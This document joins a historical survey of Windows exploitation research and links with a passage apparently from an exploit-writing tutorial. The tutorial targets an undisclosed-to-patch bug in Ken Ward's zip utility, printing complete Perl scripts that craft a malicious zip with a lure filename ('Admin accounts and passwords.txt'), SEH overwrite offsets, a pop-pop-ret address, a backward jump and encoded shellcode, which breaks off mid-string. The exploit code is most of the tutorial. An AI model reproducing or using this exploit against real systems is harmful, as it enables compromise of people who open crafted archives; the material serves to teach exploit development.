Microsoft also introduce to some new heap protections like heap meta cookie , safe unlinking , and in newer systems (after vista) function pointer obfuscation and so on …
==================================================
after 2005 exploitation getting harder and harder and number of public and “white-hat” hackers who can made a reliable multi platform exploit for modern windows OS was not too much.
in this section i want to have review on most important and noticeable researches against protections.
1- Third Generation Exploitation smashing heap on 2k by halvar Flake in 2002
http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt
windows 2k heap exploitation.
2- chris anley wrote Creating Arbitrary Shellcode In Unicode Expanded Strings
http://www.net-security.org/dl/articles/unicodebo.pdf
this was first public article about unicode based shellcode and is also known as “Venetian” shellcode. the method explained in this paper was good enough to making poor ASCII shellcodes .
3- Dave aitel advanced windows exploitation in 2003
http://www.immunityinc.com/downloads/immunity_win32_exploitation.final2.ppt
in that talk dave talked about no so typical windows exploitation and start making game more advanced .
4- Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server by david litchfield
http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
this paper actually was first detailed paper about abusing SEH (structured exception handler) and the generic way to bypass /GS and also write not lots of public exploit are using this method for exploitation so it also can called one of most important research in windows exploitation history.
5- reliable heap exploits (matt Conover in cansecwest 2004 ) and after that Windows Heap Exploitation (Win2KSP0 through WinXPSP2)
http://cybertech.net/~sh0ksh0k/projects/winheap/XPSP2%20Heap%20Exploitation.ppt
i think that was one of most important heap related research in history of windows exploitation a great and gentle introduction to overwrite a chunk on lookaside list for bypassing safe unlinking and also give lots of great information about windows heap manager internals .
6- later in 2004 matt miller wrote an article Safely Searching Process Virtual Address Space
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
this article was first great and public article about using egg-hunter shellcode and it’s about when we have limited memory space for our shellcode and we can store our big and main shellcode some-where in memory. this can be also called practical introduction to search shellcodes .
7- later in 2004 skylined wrote on IE exploit and used a technology called Heap Spray
http://www.exploit-db.com/exploits/612
heap spray is one of most important technologies even in modern exploitation and it’s about code that sprays the heap attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process’ heap and fill the bytes in these blocks with the right values. They commonly take advantage from the fact that these heap blocks will roughly be in the same location every time the heap spray is run.
for a few years heap spray was just used in java script and mostly in browsers but today modern attackers are using anything possible to allocate more heap for sparing . like action script , silver light , bmp files and … and not just in browsers ! from my point of view heap spray is like cheating in modern exploitation !
8- bypassing hardware-enforced DEP skape (matt miller) Skywing (ken johnson) (in October 2005)
http://www.uninformed.org/?v=2&a=4&t=pdf
yay ! they finally did it . hardware enforced DEP bypassed by using a return to libc style attack . in simple explanation the problem was in not CPU the problem and weakness was in windows related API that was used for setting DEP for various process. and the API was NtSetInformationProcess. but there was some simple problem in that article like they forget talk about it we need to to have EBP always writable.
9- Exploiting Freelist[0] On XP Service Pack 2 by brett moore (dec 2005)
download here
this is was another great example of bypassing heap protections by using Freelist[0] and really useful is some case .
10 - later in 2005 matt miller published great article called Kernel-mode Payloads on Windows in uninformed
http://www.uninformed.org/?v=3&a=4&t=pdf
this article was great article for porting exploits to kernel-land.
11- in 2006 johny cache hd moore and matt miller released Exploiting 802.11 Wireless Driver Vulnerabilities on Windows
http://www.uninformed.org/?v=6&a=2&t=pdf
good example of real-world driver exploitation.
12- in 2007 Ruben Santamarta wrote Exploiting Comon Flaws In Drivers
Read it here
note that before ruben we can find lots of great research about this topic but ruben makes it different . he made a tool that called kartoffel which is a great driver fuzzer for finding IOCTL vulnerabilities in drivers. but kartoffel was not main reason to make it different.
after he wrote kartofell and published lots of detailed advisories in various vendor drivers , windows driver exploitation got speed and changed to one of focusable area in exploitation .
13- Heap Feng Shui in JavaScript by Alexander sotirov (2007)
http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf
notable improvements to skylined heap spray technology . heap spray was good but blind and not so reliable is some case. Heap Feng Shui is great research about doing advanced FU in heap (heap manipulation) it will lead you to have more control on heap.
14- Understanding and bypassing Windows Heap Protection by Nicolas Waisman (2007)
http://kkamagui.springnote.com/pages/1350732/attachments/579350
nico is one of a few guys that focused on windows heap he also developed immunity debugger heaplib and did lots of great heap related researches. he is one of world leading heap !
15- Heaps About Heaps by brett moore (in 2008)
http://www.insomniasec.com/publications/Heaps_About_Heaps.ppt
that was one of most complete researches about heap. yes that is just a few slides but great hint if you want do something on heap !
16- Bypassing browser memory protections in Windows Vista by Mark Dowd and Alex Sotirov (in 2008)
http://taossa.com/archive/bh08sotirovdowd.pdf
one of most greatest exploitation related research with a focus on bypassing browsers memory protections in vista .
great generic .net shellcode trick (loading a .net dll and use shellcode in it), java spraying , deep into combined protections and great ways to bypassing them.
17 – Attacking the Vista Heap by ben hawkes (in 2008)
http://www.ruxcon.org.au/files/2008/hawkes_ruxcon.pdf
great research about vista heap internals and some ways to bypassing vista heap protections.
18- Return oriented programming Exploitation without Code Injection by Hovav Shacham (and others ) (in 2008)
http://cseweb.ucsd.edu/~hovav/dist/blackhat08.pdf
not a so new technology. it’s just our old code reuse ! but with great official introduction he call it Return-Oriented-Programming (now known as ROP ). this technology is great to bypass permanent DEP (vista / 7 / 2008) (because you can’t use return-to-libc style attack anymore)
19- Cesar Cerrudo wrote Token Kidnapping and a super reliable exploit for windows 2k3 and 2k8 (2008)
http://www.argeniss.com/research/TokenKidnapping.pdf
20- Defeating DEP Immunity Way by Pablo sole (2008)
http://www.immunityinc.com/downloads/DEPLIB.pdf
first automation of ROP . thats it ;)
21- Practical Windows XP2003 Heap Exploitation (bh 2009) by John McDonald and Chris Valasek.
http://www.blackhat.com/presentations/bh-usa-09/MCDONALD/BHUSA09-McDonald-WindowsHeap-PAPER.pdf
if you want write a heap exploit for modern OS . you should read this one . most complete heap related article .
22- Bypassing SEHOP by Stefan Le Berre Damien Cauquil (in 2009)
http://www.sysdream.com/articles/sehop_en.pdf
cool and good research ! but ALSR will make it not so useful because SEHOP = SEHOP + ASLR
23- Interpreter Exploitation : Pointer Inference and JIT Spraying by Dionysus Blazakis (2010)
http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf
http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Slides-v2.pdf
Great ! exploitation is still alive . generic exploitation method for bypassing DEP and ASLR together . if you read and understand it you can write lots of exploits for windows 7 !
24- write-up of Pwn2Own 2010 by Peter Vreugdenhil (2010)
http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf
a great and short article about how to own DEP+ASLR without any 3rd-party plugin
(used two vulnerability and toke around 4 minutes)
25- ruben santamarta all in one 0day presented in rootedCON (2010)
http://wintercore.com/downloads/rootedcon_0day_english.pdf
some great idea for bypassing IE XSS Filter and protected mod not exploitation specific but it’s great for being combined with other exploitation methods .
=========================================================
in this section i’m going to archive some of interesting exploits i saw you can learn lots of things from them !
1- one of first real-world HW-DEP bypass Exploit by devcode : here
2- bypassing DEP by returning into HeapCreate by toto : here
3- first public ASLR bypass exploit by using partial overwrite by skape (matt miller) : here
4- heap spray and bypassing DEP by skylined : here
5- first public exploit that used ROP for bypassing DEP in adobe lib TIFF vulnerability : here (is this case ASLR bypass is possible !)
6- exploit codes of bypassing browsers memory protections : here
7- Cesar Cerrudo PoC’s on Tokken TokenKidnapping . PoC for 2k3: here , PoC 2k8: here
8- Tavis Ormandy KiTra0d an exploit works from win 3.1 to win 7 . PoC here (metasploit updated module works more interesting !)
9- old ms08-067 metasploit module multi-target and DEP bypass PoC here
10- PHP 6.0 Dev str_transliterate() Buffer overflow – NX + ASLR Bypass (using ROP and Brute Forcing ASLR) PoC here
11- Stephen Fewer SMBv2 Exploit . PoC here
note 1 :there is lots of other interesting exploits in windows platform you can just find them in here and also here .
note 2: i saw lots of other great and advanced exploits in commercial packages . (they are commercial so forget them ;) )
===================================================
in this section i’m going to archive some books about windows exploitation.
1- Exploiting Software How to Break Code By (Greg Hoglund, Gary McGraw)
2- The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities (By Mark Dowd, John McDonald)
3- Buffer Overflow Attacks: Detect, Exploit, Prevent (by James C. Foster)
4- Windows Internals (by Mark Russinovich , David A. Solomon, Alex Ionescu)
6- Software Vulnerability Guide ( by HERBERT H. THOMPSON , SCOTT G. CHASE)
7- ADVANCED WINDOWS DEBUGGING (by Mario Heward , Daniel Pravat)
8- Reversing: Secrets of Reverse Engineering
9- great step by step exploit writing tutorials by my friend Peter Van Eeckhoutte :
also he wrote a cool immunity debugger PyCommand called PveFindAddr i think this python script is necessary for speed-up exploit development for newbie or expert exploit developers and i found it so useful , it have some cool features like finding instructions for code reuse and ROP also finding state of memory protections and finding best return address in your situation.
this is not complete lits of exploitation related book / articles list i just listed those had at least one windows specific chapter .
Starring : T.B.A
1- exploitation is not and will not die.
2- just will change and being more harder also won’t be ” just for fun” like before.
3- writing reliable exploits will take time and time == money and now exploit development is acceptable specific job in security area !
4- fame == money as well (also is lovely by itself) . so you will see other great researches in various security fields ;)
5- if you read all of resources exist in post you can be a great exploit developer ; )
PS1 : during writing this post due to lots of links and peoples on it maybe i forgot some notable people / article you can alert me about them just by shahin [at] abysssec.com
PS2 : i wrote this post so fast (and took long time !) i will edit my Misspellings and grammatical in good time.
i need to go and take 0XCC00FFEE .
have fun .
18 Mar
About 2 weeks ago, I published a somewhat detailed explanation about an exploit I wrote for a – what some people would call “lame” - bug which I discovered in quickzip. In case you missed these articles, the articles were posted on the Offensive Security Blog : Part 1 and Part 2.
Ok, I agree, there are a lot more impressive bugs than this one, but the process of writing a working exploit was interesting to say the least. I had to deal with all kinds of hurdles, but by blending a little bit of creativity and persistence, I managed to pull it off.
Interestingly enough, I found a similar “lame” bug in another unzipper. The author decided to ignore my emails, so today I will disclose the details and explain how to write the exploit for this vulnerability.
If you’ve read the articles I wrote on the Offensive Security Blog, then you will discover that this particular exploit is quite similar to the one for quickzip… but this time we will even have to push things a little bit further.
I have received quite some feedback about the writing style I applied to those 2 articles. Apparently people like the combination of a detailed explanation, with the concept of making the document look like a some kind of exercise at the same time.
Based on that feedback, I decided to apply the same concept on this post. This translates into the fact that I have put a marker on some “strategic” places in this article, indicating that you should stop reading and that you should think about the current issue/situation/… and try to figure out for yourself how you would approach a given problem.
This marker will look like this :
Fasten your seatbelts, let’s go.
I used the following environment and tools to build the exploit :
Note : In case you already have pvefindaddr installed : you can verify that you have the latest version by running
!pvefindaddr update
Pretty much identicaly to the bug in quickzip, the bug in Ken Ward’s zipper gets triggered by opening a specially crafted zip file from within the unzip utility, and double-clicking on the file inside the zip (in an attempt to extract and open it).
To make things more attractive, I will try to craft the exploit in such a way, to make the filename inside the zip file appear as if it’s a valid and perhaps interesting text file.
The basic structure of the malicious zip file looks like this :
# Exploit script for Ken Ward's zipper # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 #--------------------------------------------------- my $sploitfile="corelan_kenward.zip"; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00"; my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00"; print "[+] Preparing payload\n"; my $payload = "A" x 4064; $payload = $payload.".txt"; my $evilzip = $ldf_header.$payload. $cdf_header.$payload. $eofcdf_header; print "[+] Removing old zip file\n"; system("del $sploitfile"); print "[+] Writing payload to file\n"; open(FILE,">$sploitfile"); print FILE $evilzip; close(FILE); print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n"; print "[+] Payload length : " . length($payload)."\n";
This script will create a zip file that will crash our application.
Usually, when an application crashes, one of the first things any exploit developer is looking for is to find out whether registers were overwritten, if EIP or SEH records are overwritten, and at what offsets these overwrites occurred.
In order to make that process easier, we won’t run the script as it is, but we will create a cyclic “Metasploit” pattern first (4064 characters) and put that in $payload. You will understand why in just a few moments.
Open Immunity Debugger. In the command bar at the bottom of the debugger, type in the following command :
!pvefindaddr pattern_create 4064
This will generate a cyclic/unique pattern, write it to the Immunity Debugger log window, and also to a file called “mspattern.txt”, which can be found in the Immunity Debugger application folder. Open this file, copy the pattern, and paste in into the script (effectively replacing (“A” x 4064) with the unique pattern).
Create the zip file :
C:\sploits\kenward>perl boom.pl [+] Preparing payload [+] Removing old zip file [+] Writing payload to file [+] Wrote 8234 bytes to file corelan_kenward.zip [+] Payload length : 4068 C:\sploits\kenward>
Note : Ken Ward zipper will remember the last zip file that have opened. If this file still exists, it will open it automatically. So if you want to be sure to start from a clean situation, remove all zip files prior to opening zip4.exe, and then generate the zip file again.
Open Ken Ward zipper. When you see the main application screen, open Immunity Debugger and attach it to zip4.exe
The application will be paused at ntdll.DbgBreakPoint. Simply press F9 to continue to run the application. Go back to the application. Use the “Open an existing file to unzip” button and select the corelan_kenward.zip file
When the file is loaded in the application, you should see something like this :
The filename column clearly points to the first characters of a cyclic pattern.
Trigger the bug : double-click on the Filename.
Immunity will now take focus again, because it catched an exception.
Address=00408EB1 Message=[11:27:20] Access violation when writing to [00140000]
That’s clearly a stack overflow. We attempted to write a dword ptr (at [ESI]) beyond the end of the current stack frame [EDI], which points at 0x0013FFFE before the write instruction is executed. This caused an access violation.
Making the application crash was not that difficult.
We decided to use a long cyclic pattern string to produce the crash, which means that we can save some time and (with Immunity still attached to the crashed application) use the pvefindaddr plugin to do some research about the crash. (This is why I asked you to use a unique pattern instead of just A’s – remember ?)
In Immunity, simply run the following command :
!pvefindaddr suggest
This will evaluate registers and SEH chain, and will look for references to a cyclic pattern. If the plugin found references in a register, it will calculate offsets. Wait a few seconds until the output is generated and look at the Immunity Debugger Log window for the results :
The 2 most important things we see are
That means that it should be fairly easy to get code execution, as long as we can bypass any protection mechanisms in place (safeseh, etc)
Let’s change the script to confirm that the offsets are correct. At the same time, we will also change the payload a bit, making the filename look like an interesting file at the same time. After all, we control the filename inside the zip file, so perhaps we can do something with it.
Let’s have a look at this script :
# Exploit script for Ken Ward's zipper # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 #--------------------------------------------------- my $sploitfile="corelan_kenward.zip"; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00"; my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00"; print "[+] Preparing payload\n"; my $size=4064; my $offset=1022; my $filename= "Admin accounts and passwords.txt".(" " x 100); my $junk = "A" x ($offset - length($filename)); my $nseh="BBBB"; my $seh="CCCC"; my $payload = $filename.$junk.$nseh.$seh; my $rest = "D" x ($size-length($payload)); $payload=$payload.$rest.".txt"; my $evilzip = $ldf_header.$payload. $cdf_header.$payload. $eofcdf_header; print "[+] Removing old zip file\n"; system("del $sploitfile"); print "[+] Writing payload to file\n"; open(FILE,">$sploitfile"); print FILE $evilzip; close(FILE); print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n"; print "[+] Payload length : " . length($payload)."\n";
As said before, I will try to make the filename inside the zip file look like something attractive (hence “Admin accounts and passwords.txt”) , and I will some spaces after this filename (to make it look more genuine). I will fill up the rest of the buffer before nSEH (up to 1022 bytes) with A’s.
At nseh we will put 42424242 and at SEH we will write 43434343. The remaining space of the 4064 bytes will be filled with D’s. (44444444).
Create the zip file. Open zip4.exe, and attach Immunity to the application. Then open the zip file :
We clearly see our fake filename. Double click the “Admin accounts and passwords.txt” filename. Immunity should catch the exception and the SEH chain should look like this :
On the stack, we can see our payload, we can see that it has overwritten a SE record, and we also see that the D’s are available on the stack after the SE record.
In normal SEH based exploits, the goal is to find a pointer to an address that would allow us to jump to the 4 bytes at next SEH and execute those bytes. The most common technique to do this, is using a pointer to pop pop ret.
When pop pop ret returns, in most cases the 4 bytes at nseh are used to jump to payload (either before or after the SEH record) in order to get code execution at that location. So in normal cases, it takes only a few minutes to pull this together and build a working exploit.
Is this logic correct ? Will that lead to code execution ? And where will you get the pointer to p/p/r from ?
Because of exception handling abuse protection mechanisms (Software DEP/Safeseh etc), we have to find an address that will allow us to execute a pop pop ret, effectively bypassing thesese protection mechanisms. The most common way to bypass safeseh, is by using a pointer to p/p/r from a non-safeseh compiled module (or the executable itself, if it’s not safeseh protected either).
If no usable address can be found, you can also try to use a p/p/r from one of the OS modules that are loaded together with the application. The disadvantage of this approach is that the exploit would probably only work the operating system/service pack that was used to build the code on.
Anyways, let’s try to make it universal/generic.
The pvefindaddr plugin provides for an easy way to list all p/p/r pointers, by querying all modules that are loaded when the application crashed, and that are not safeseh protected.
Simply run this command, with Immunity attached to the application, at crash time :
!pvefindaddr p
Now leave the debugger alone and let it do the search. This can take up to a few minutes (after all, it will search for all possible pop pop ret combinations, in all loaded modules !), and it might take all CPU… so just leave it alone for a while. All output will be written to the Immunity Log window, and to a file called ppr.txt (generated inside the Immunity Debugger application folder)
When the search process has finished, Immunity Debugger will become responsive again and display the number of found addresses at the end of the Log (and in the status bar)
2397 addresses, plenty of choice.
The non-OS, non-safeseh protected modules are :
=> only zip4.exe (the other ones are from the Windows OS, and those may be different across other versions of the Windows OS/Service Pack). So let’s focus on the executable itself. As you can see in the output above, the executable is loaded into memory at base address 0×00400000. This address starts with a null byte, so we have to take that into consideration.
Open the ppr.txt file, take the first available pointer from zip4.exe, and replace the 4 C’s at SE Handler with this address.
(so basically, replace my $seh=”CCCC”; with my $seh = pack(‘V’,0x00402AFB); create a new zip file and trigger the crash again)
When Immunity catches the exception, the SEH chain looks like this :
We see 2 things :
So this one will take a little bit longer than just a few minutes.
How would you approach this character set limitation ? What are the consequences of this limitation ? Is there only an impact on the p/p/r pointer ? Or also on other parts of the payload ?
This is not new. When I discussed the exploit building process for the quickzip vulnerability (on the Offensive Security Blog), I noticed the same thing…
The result of that is that we can only use payload/addresses consisting of bytes that would be valid characters in a filename. (So if we limit our search to bytes that are either numbers or characters (lowercase/uppercase) from the alphabet, we should be fine. Further more, we’ll probably need to deal with this limitation for the entire payload, so we’ll have to keep this in mind.
Open ppr.txt again. In the output, you can see if an address would be compatible with this kind of limitation… The pvefindaddr plugin puts a marker next to addresses, indicating if the address is ascii printable and optionally if it only contains numbers/alphabet characters).
Addresses that contain ascii printable bytes only, will have a marker “[ Ascii printable ]“. If the address only contains nums&alphabet, it will also state “[Num&Alphabet Chars only !]“. That means that we can easily search for matching addresses using the following DOS command :
C:\Program Files\Immunity Inc\Immunity Debugger>type ppr.txt | findstr "Ascii" | findstr "Num" C:\Program Files\Immunity Inc\Immunity Debugger>
0 results. But we are being too strict really. The [ Ascii printable ] marker will not show any addresses that start with a null byte. (You can, of course, change the pvefindaddr plugin). On top of that, some non-alphabet characters will also work fine (spaces, etc).
So perhaps we should just manually look at the ascii-printable addresses in the text file, and then locate one that will do the job. (www.asciitable.com)
Let’s try 0x00415A68
Put this address at $seh and try again
That looks a lot better. Set a breakpoint on this address (bp 00415A68) and press Shift F9 to pass the exception to the application. The event handler should kick in and jump to 0x00415A68
Use F7 to step through the instructions (basically execute one instruction at a time), until after the RETN instruction is executed. The RET should make you land back at the 4 bytes at nseh (BBBB) :
So far so good.
We can use the 4 bytes at nseh to make a jump.
Where should we make the jump to ? As you can see on the stack, the D’s that were placed in the payload buffer after overwriting the SEH structure are not visible anymore. It looks like the null byte in the ppr address terminated the string, and now the D’s are “gone”.
This means that, at nseh, you can only jump back. Jumping forward does not make any sense, because we no longer control the bytes on the stack after the SEH record was overwritten.
But we do control most part of the stack before the SEH record was overwritten.
In theory, we should have like 1022 bytes (- the bytes needed for the filename and spaces at the beginning of the payload). Whether these 1022 ( minus some ) bytes can be fully used or not, is not clear at this point.
We can, for example, see on the stack that in the buffer with A’s (which sit between the fake filename (start of the string), and the location in the string used to overwrite SEH), some nulls have been inserted.
If we continue to scroll up in the stack view, we get closer to the start of the buffer, and eventually we can find the fake filename, spaces and the start of the A’s (at 0013F58E)
The current location, when the pop pop ret is executed, is 0013F908. So that means that we have about 890 bytes at our disposal.
Since we know that the buffer is subject to a character set limitation, we will most likely need to encode all instructions/shellcode before we can execute them. Encoding will increase the total shellcode size, and the code that we’ll probably to align registers and stack may need to be encoded too. So we might end up with some sizing issues here. 890 bytes is not bad, but it’s not huge either.
Anyways, we will start by jumping back at nseh (because that’s the only option we have at this point). Because of the character set limitation, we cannot use the 0xeb opcode for this.
0xEB won’t work. So what are our options to make a jump back ?
Answer : we still can use conditional jumps to jump back. Look at the state of the flags when you land back from the pop pop ret instructions :
C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 1 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDF000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000)
Based on these flags, we can use JE (0×74) to make a jump back. This one will make a short jump if the zero flag is 1. This short jump instruction takes a single byte offset. Because of the character set limitation, the amount of bytes we are able to jump back will be limited to a small range.
In the quickzip writeup, we learned that 0×74 with offset 0xF7 would translate/get converted into 0×74 0×98, making a jump back of 102 bytes.
Let’s fnd out if this works :
# Exploit script for Ken Ward's zipper # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 #--------------------------------------------------- my $sploitfile="corelan_kenward.zip"; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00"; my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00"; print "[+] Preparing payload\n"; my $size=4064; my $offset=1022; my $filename= "Admin accounts and passwords.txt".(" " x 100); my $junk = "A" x ($offset - length($filename)); my $nseh="\x74\xf7\x90\x90"; #f7 becomes 98 -> jump back 102 bytes my $seh=pack('V',0x00415A68); my $payload = $filename.$junk.$nseh.$seh; my $rest = "D" x ($size-length($payload)); $payload=$payload.$rest.".txt"; my $evilzip = $ldf_header.$payload. $cdf_header.$payload. $eofcdf_header; print "[+] Removing old zip file\n"; system("del $sploitfile"); print "[+] Writing payload to file\n"; open(FILE,">$sploitfile"); print FILE $evilzip; close(FILE); print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n"; print "[+] Payload length : " . length($payload)."\n";
Right after the pop pop ret is executed, we land at the backward jump at nseh, and the CPU view in Immunity looks like this :
Before deciding where to put our shellcode and changing jump back values if needed, we need to figure what we want to do.
We have about 890 bytes, more or less. How do we want to use those bytes ? Is that the location we have to put our shellcode at ?
Well, let’s not just believe what we see and don’t see. Let’s find out and get the facts before taking any decisions. As Oscar Wilde once said : “When you assume, you make an ass out of u and me”.
The null byte at SEH made the remaining part of the buffer string “disappear”, but that does not mean that this string is not availabe in memory anywhere. And if it is available in memory, then we may be able to use the 890 bytes to jump to the real shellcode in memory… and that changes the situation.
In order to find that out, we will write some real shellcode in the buffer (after the SEH overwrite), and then we will use pvefindaddr to search for it.
Let’s create some shellcode, and encode the shellcode to avoid that it would break the zip file structure.
./msfpayload windows/messagebox TITLE="CORELAN" TEXT="corelanc0d3r says hi to the Abysssec.com blog visitors" R | ./msfencode -e x86/alpha_mixed -t perl
This will produce 690 bytes of shellcode
[*] x86/alpha_mixed succeeded with size 690 (iteration=1)
We will put the shellcode at the end of the payload, and we will also write it to a file at c:\tmp\shellcode.bin. The latter is required for pvefindaddr later on
# Exploit script for Ken Ward's zipper # Written by Peter Van Eeckhoutte # http://www.corelan.be:8800 #--------------------------------------------------- my $sploitfile="corelan_kenward.zip"; my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00"; my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00"; my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00"; print "[+] Preparing payload\n"; my $size=4064; my $offset=1022; my $filename= "Admin accounts and passwords.txt".(" " x 100); my $junk = "A" x ($offset - length($filename)); my $nseh="\x74\xf7\x90\x90"; #jump back 102 bytes my $seh=pack('V',0x00415A68); my $payload = $filename.$junk.$nseh.$seh; my $shellcode = "\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" . "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" . "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" . "\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" . "\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" . "\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" . "\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" . "\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" . "\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" . "\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" . "\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" . "\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" . "\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" . "\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" . "\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" . "\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" . "\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" . "\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" . "\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" . "\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" . "\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" . "\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" . "\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" . "\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" . "\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" . "\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" . "\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" . "\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" . "\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" . "\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" . "\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" . "\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" . "\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" . "\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" . "\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" . "\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" . "\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" . 